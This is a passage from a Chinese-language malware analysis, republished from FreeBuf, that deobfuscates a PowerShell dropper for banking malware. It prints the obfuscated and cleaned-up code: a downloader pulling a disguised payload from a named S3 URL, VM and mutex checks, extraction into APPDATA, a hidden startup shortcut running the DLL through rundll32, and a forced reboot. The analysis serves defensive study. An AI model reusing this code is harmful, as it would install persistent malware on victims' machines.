      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${_/\/\_/\/\_/=\/\/} = ${_/\/\_/\/\_/=\/\/}+caractereRandomico   
    }
    return ${_/\/\_/\/\_/=\/\/} 
  }
  finally{}
}

首先,可以观察到for循环。变量/ == \ / \ ___ / \ _ / \ / ==命名为i,循环迭代的次数等于___ / \ _ / = \ _ / = \ _ / \ /的值。该变量设置为1到9之间的随机值,并定义for循环的长度。可以将其重命名为length。那么最后一个变量_ / \ / \ __ / \ / \ _ / = \ / \ /是返回值,可以重命名为returnValue

查看重构的代码,该功能的目的显而易见。

 try
  {
    ${length} = Get-Random -Minimum 1 -Maximum 9
    ${returnValue} = ""
    For (${i}=0; ${i} -le ${length}; ${i}++) 
    {
      qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM  = $('qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM')
      nomeRandomico_getrandom  = Get-Random -Minimum 1 -Maximum qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Length
      caractereRandomico = qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.Substring(nomeRandomico_getrandom,1)
      ${returnValue} = ${returnValue}+caractereRandomico   
    }
    return ${returnValue} 
  }
  finally{}

从字符集qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM中,随机复制字符1至9次。然后返回连接的输出,提供伪随机字符串。可以将函数____ / \ __ / === \ _ / = \ /重命名为getRandomString

下一个功能更长,但是从一开始就提供更多信息,因为它使用了点网系统的各个部分,在这些部分中字符串没有被混淆。代码如下。

function __/====\___/=\_/\_(${___/\/\_/\_/=\__/\}, ${___/==\/=\/=\____/})
{
    ${/=\_/\/====\/\_/\} = New-Object $('System.uri') $ExecutionContext.InvokeCommand.ExpandString($S{___/\/\_/\_/=\__/\}) 
    ${/=\/===\_/\/\_/\_} = [System.Net.HttpWebRequest]::Create(${/=\_/\/====\/\_/\}) 
    ${/=\/===\_/\/\_/\_}.set_Timeout(15000) 
    ${/=\/====\__/==\__} = ${/=\/===\_/\/\_/\_}.GetResponse() 
    ${/=\_/==\__/\__/\_} = [System.Math]::Floor(${/=\/====\__/==\__}.get_ContentLength()/1024) 
    ${_/===\/=\_/=\___/} = ${/=\/====\__/==\__}.GetResponseStream() 
    ${__/====\__/\/\__/} = New-Object -TypeName System.IO.FileStream -ArgumentList ${___/==\/=\/=\____/}, Create 
    ${/=\/=\/==\_/\/=\_} = new-object byte[] 10KB 
    ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
    ${/==\_/===\/\/=\/\} = ${_/===\_/=\/\/===\} 
    while (${_/===\_/=\/\/===\} -gt 0) 
    { 
        ${__/====\__/\/\__/}.Write(${/=\/=\/==\_/\/=\_}, 0, ${_/===\_/=\/\/===\}) 
        ${_/===\_/=\/\/===\} = ${_/===\/=\_/=\___/}.Read(${/=\/=\/==\_/\/=\_},0,${/=\/=\/==\_/\/=\_}.length) 
        ${/==\_/===\/\/=\/\} = ${/==\_/===\/\/=\/\} + ${_/===\_/=\/\/===\} 
    } 
    ${__/====\__/\/\__/}.Flush()
    ${__/====\__/\/\__/}.Close() 
    ${__/====\__/\/\__/}.Dispose() 
    ${_/===\/=\_/=\___/}.Dispose() 
    return "Y"
}

该函数的第一个参数___ / \ / \ _ / \ _ / = \ __ / \用于第一行,其中调用了System.Uri类。给定的输入是url,可以这样重命名。

在下面的代码行中,变量/ = \ / === \ _ / \ // __ / \ _用于创建Syste.Net.HttpWebRequest对象。因此,该变量可以重命名为httpWebRequest

在此之后的两行,请求的响应保存在变量/ = \ / ==== \ __ / == \ __中。因此,该变量可以重命名为httpResponse。函数get_ContentLength返回responseContentLength(以前是/ = \ _ / == \ __ / \ __ / \ _),而GetResponseStream函数返回了responseStream(以前是_ / === \ / = \ _ / = \ ___ /)。

可以在原始名称__ / ==== \ __ / \ / \ __ /下找到Dot Net System.IO.FileStream。改成更具可读性的名称fileStream

下面的循环使用Dot Net FileStream Write函数将数据写入磁盘。重构代码如下。

function downloadFileAndWriteToFile(${url}, ${argumentList})
{
    ${uri} = New-Object $('System.Uri') $ExecutionContext.InvokeCommand.ExpandString($S{url}) 
    ${httpWebRequest} = [System.Net.HttpWebRequest]::Create(${uri}) 
    ${httpWebRequest}.set_Timeout(15000) 
    ${httpResponse} = ${httpWebRequest}.GetResponse() 
    ${responseContentLength} = [System.Math]::Floor(${httpResponse}.get_ContentLength()/1024) 
    ${responseStream} = ${httpResponse}.GetResponseStream() 
    ${fileStream} = New-Object -TypeName System.IO.FileStream -ArgumentList ${argumentList}, Create 
    ${arrayToWrite} = new-object byte[] 10KB 
    ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
    ${counter} = ${sizeToWrite} 
    while (${sizeToWrite} -gt 0) 
    { 
        ${fileStream}.Write(${arrayToWrite}, 0, ${sizeToWrite}) #byte[] array, int offset, int count 
        ${sizeToWrite} = ${responseStream}.Read(${arrayToWrite},0,${arrayToWrite}.length) 
        ${counter} = ${counter} + ${sizeToWrite} 
    } 
    ${fileStream}.Flush()
    ${fileStream}.Close() 
    ${fileStream}.Dispose() 
    ${responseStream}.Dispose() 
    return "Y"
}

下一个函数包含较少的变量,使重构代码更加容易。

function _____/==\_/=\_/===
{
  Param([string]${_/=====\/==\/\___/},[string]${___/\____/\_/=\/\_});
  try{  
    ${_/\/=\/\/===\/\/\} = New-Object -ComObject WScript.Shell 
    ${/=\/=\/\/=\_/=\__} = ${_/\/=\/\/===\/\/\}.CreateShortcut(${_/=====\/==\/\___/}) 
    ${/=\/=\/\/=\_/=\__}.TargetPath = 'powershell'
    ${/=\/=\/\/=\_/=\__}.Arguments = $ExecutionContext.InvokeCommand.ExpandString('$S{___/\/\_/\_/=\__/\}')
    ${/=\/=\/\/=\_/=\__}.WorkingDirectory = $('%SystemRoot%\System32')
    ${/=\/=\/\/=\_/=\__}.WindowStyle = 7   
    ${/=\/=\/\/=\_/=\__}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${/=\/=\/\/=\_/=\__}.Save()
  }finally{}
}

在函数的第一行中,实例化了WScript.Shell对象。因此,变量_ /\/=\/\/===\/\/\可以重命名为wscriptShellObject。在第二行中,使用了两个变量。两者都可以根据此信息重命名。变量_ / ===== \ / == \ / \ ___ /是快捷方式的targetLocation,因为它是作为参数传递的。快捷方式对象由CreateShortcut方法返回,使/ = \ / = \ / \\ / = \ _ / = \ __等于createShortcut

变量____ / \ / \ _ / \ _ / = \ __ / \等于createShortcut的参数。重构代码如下。

function createShortcut
{
  Param([string]${targetLocation},[string]${unusedCommand});
  try{  
    ${wscriptShellObject} = New-Object -ComObject WScript.Shell 
    ${shortcut} = ${wscriptShellObject}.CreateShortcut(${targetLocation}) 
    ${shortcut}.TargetPath = 'powershell'
    ${shortcut}.Arguments = $ExecutionContext.InvokeCommand.ExpandString($S{arguments})
    ${shortcut}.WorkingDirectory = $('%SystemRoot%\System32')
    ${shortcut}.WindowStyle = 7   
    ${shortcut}.IconLocation = $('%ProgramFiles%\Internet Explorer\iexplore.exe,1')
    ${shortcut}.Save()
  }finally{}
}

根据提供的目标位置,在系统上创建一个新的快捷方式。该图标是驻留在iexplore.exe二进制文件中的第二个图标(第一个索引)。窗口样式7用于最小化窗口并将下一个窗口聚焦在屏幕上。该快捷方式将与提供的参数一起在%StystemRoot%\ System32目录中执行Powershell 。

脚本中的最后一个函数如下。

function _/=\/\_/\/===\_/==
{
  try
  {
    ${_/======\_/\/=\/\} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${_/======\_/\/=\/\}.WaitOne()  
  }finally{}
}

此函数中使用了System.Threading.Mutex,并且可以这样重构_ / ====== \ _ / \ // = \ / \。互斥锁用于确保一次仅运行一个实例。重构代码如下。

function mutexCheck
{
  try
  {
    ${threadingMutex} = New-Object System.Threading.Mutex($false, $('444444444444'))
    return ${threadingMutex}.WaitOne()  
  }finally{}
}

全部放在一起

现在,所有函数都已重构,需要分析执行的代码,因为它显示了调用函数的顺序以及为函数提供了参数的顺序。代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')

  if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${___/\/===\____/\/} = ${env:APPDATA}+"\"
    ${/=\______/=\/==\/} = getRandomString
    ${/===\/=\/\_/=\/==} = $('.txt')
    ${_/=\/===\/\___/\_} = $('.vbs')
    ${/=\/==\__/\_/\__/}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${/===\/=\/\_/=\/==}
    ${/=\__/=\___/===\_}  = ${___/\/===\____/\/}+${/=\______/=\/==\/}+${_/=\/===\/\___/\_} 
    sleep -s 1
        ${/===\/\_/====\/=\}  = $false
        while(${/===\/\_/====\/=\} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${/=\/==\__/\_/\__/}; sleep -s 1 
        if ((gi ${/=\/==\__/\_/\__/}).length -gt 2048kb)
         {
           ${/===\/\_/====\/=\}  = $true                                                          
           ${_/=\_/==\/=\__/\_} =  "Y" 
          } 
          else 
           {                     
            ${_/=\_/==\/=\__/\_} = "N"
           }
        Write-Host ${/===\/\_/====\/=\}
        }  
       ${_/=\_/==\/=\__/\_} =  "Y" 
        if (${_/=\_/==\/=\__/\_} -eq "Y")
          {
          ${/===\__/\/==\_/==} = ${___/\/===\____/\/}+${/=\______/=\/==\/} +$('.zip')
           ren -Path $ExecutionContext.InvokeCommand.ExpandString('${/=\/==\__/\_/\__/}') -NewName $ExecutionContext.InvokeCommand.ExpandString('${/===\__/\/==\_/==}');
          ${/=\_/=\_/===\___/} = New-Object -ComObject shell.application
          ${_/\___/\_/======\} = ${/=\_/=\_/===\___/}.NameSpace(${/===\__/\/==\_/==})               
            foreach (${_/====\/\_/\/\__/} in ${_/\___/\_/======\}.items()) 
             {
                ${/=\_/=\_/===\___/}.Namespace(${___/\/===\____/\/}).CopyHere(${_/====\/\_/\/\__/})
             }
          sleep -s 3 
          ${_/\_/=\_/=\_/\___} = getRandomString
          ${/=\_/===\/\_/===\} = ${_/\_/=\_/=\_/\___} + ('.prx')
          ${_/\_/=\_/=\_/\___} = ${_/\_/=\_/=\_/\___} + ('.dll')
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\/\_/\_/=\/====}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\_/=\_/=\_/\___}');
          ren -Path $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${_/\____/=\/\_/===}') -NewName $ExecutionContext.InvokeCommand.ExpandString('$env:APPDATA\${/=\_/===\/\_/===\}');
          sleep -s 3 
          cd $env:APPDATA ; 
          shellObjeto = New-Object -Com WScript.Shell
          ${_/=\/\/\/=\__/\/=} = shellObjeto.SpecialFolders.Item($('startup');
          del ${_/=\/\/\/=\__/\/=}\*.vbs
          del ${_/=\/\/\/=\__/\/=}\*.lnk
          ${/=\______/\_/\_/=} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${_/\_/=\_/=\_/\___}, ${___/=\/\/\_____/=}')
          ${___/=\/==\/\_____} = $ExecutionContext.InvokeCommand.ExpandString('${_/=\/\/\/=\__/\/=}\${/=\_/===\/\_/===\}.lnk')
          createShortcut ${___/=\/==\/\_____}  ${/=\______/\_/\_/=}
          sleep -s 40
Restart-Computer -Force
        }
    }
  }

首先,执行vmCheck函数。仅当结果为负数(N)时,才会继续执行。然后,调用mutexcheck函数,以确保没有其他正在运行的实例使用相同的互斥锁(是数字4的十二倍)。如果存在名称为wmplayer的进程,则将其停止。之后,将设置多个变量并用于创建其他变量。第一部分的代码如下。

${amazonUrl} = $('https://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png')
_.dll = $('_.dll')
_.prx = $('_.prx')
MaxNotify   = $('MaxNotify')

 if (vmCheck -eq "N")
  {
  if (mutexCheck)  {
     stop-process -name wmplayer 
    ${AppData} = ${env:APPDATA}+"\"
    ${getRandomStringResult} = getRandomString
    ${DotTxt} = $('.txt')
    ${DotVbs} = $('.vbs')
    ${AppDataTxtFileLocation}  = ${AppData}+${getRandomStringResult}+${DotTxt}
    ${AppDataVbsFileLocation}  = ${AppData}+${getRandomStringResult}+${DotVbs} 
    sleep -s 1

然后,将文件下载并保存为机器的APPDATA文件夹中的文本文件,如下所示。

${isDownloadSucceeded}  = $false
        while(${isDownloadSucceeded} -ne $true)
        {
        downloadFileAndWriteToFile ${amazonUrl} ${AppDataTxtFileLocation}; sleep -s 1 
        if ((gi ${AppDataTxtFileLocation}).length -gt 2048kb)
         {
           ${isDownloadSucceeded}  = $true                                                          
           ${isDownloadSucceededString} =  "Y" 
          } 
          else 
           {                     
            ${isDownloadSucceededString} = "N"
           }
        Write-Host ${isDownloadSucceeded}
        }  
       ${isDownloadSucceededString} =  "Y"

下载完成后,压缩文件夹将重命名并解压缩。

if (${isDownloadSucceededString} -eq "Y")
          {          
          ${ZipFilePath} = ${AppData}+${getRandomStringResult} +$('.zip')           
          ren -Path $ExecutionContext.InvokeCommand.ExpandString(${AppDataTxtFileLocation}) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString(${ZipFilePath});          
          ${shellApplication} = New-Object -ComObject shell.application          
          ${ZipFile} = ${shellApplication}.NameSpace(${ZipFilePath})                           
          foreach (${file} in ${ZipFile}.items())              
          {                
          ${shellApplication}.Namespace(${AppData}).CopyHere(${file})             
          }          
          sleep -s 3

在下面的代码中,仍然有多个字符串被混淆,但似乎脚本没有完全完成,因为变量仅被使用,而从未实例化。在整个脚本中,已下载文件的名称被多次重命名,然后将它们放置在计算机的启动文件夹中。这是此示例中使用的持久性技术。

之后,通过rundll32.exe调用DLL 。在强制重启机器之前,睡眠功能会等待40秒。然后,使用先前设置的持久性机制使恶意软件在计算机上保持活动状态。

${getRandomStringResult2} = getRandomString          
${prxFileName} = ${getRandomStringResult2} + $('.prx')          
${getRandomStringResult2} = ${getRandomStringResult2} +$('.dll')          
   ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\/\_/\_/=\/====}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${getRandomStringResult2});          
   ren -Path $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${_/\____/=\/\_/===}) -NewName $ExecutionContext.InvokeCommand.ExpandString($env:APPDATA\${prxFileName});          
      sleep -s 3           
      cd $env:APPDATA ;           
      shellObjeto = New-Object -Com WScript.Shell          
${startupFolder} = shellObjeto.SpecialFolders.Item('startup');                  
   del ${startupFolder}\*.vbs          
   del ${startupFolder}\*.lnk          
${startCommand} = $ExecutionContext.InvokeCommand.ExpandString('cd $env:APPDATA; Start-Process rundll32.exe ${getRandomStringResult2}, ${___/=\/\/\_____/=}')          
${shortcutTargetLocation} = $ExecutionContext.InvokeCommand.ExpandString(${startupFolder}\${prxFileName}.lnk)          
   createShortcut ${shortcutTargetLocation}  ${startCommand}          
     sleep -s 40Restart-Computer -Force        }    
     }  
}

该恶意软件的银行活动未在本文中进行记录,因为它超出了本文的范围。

*参考来源:maxkersten,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-10

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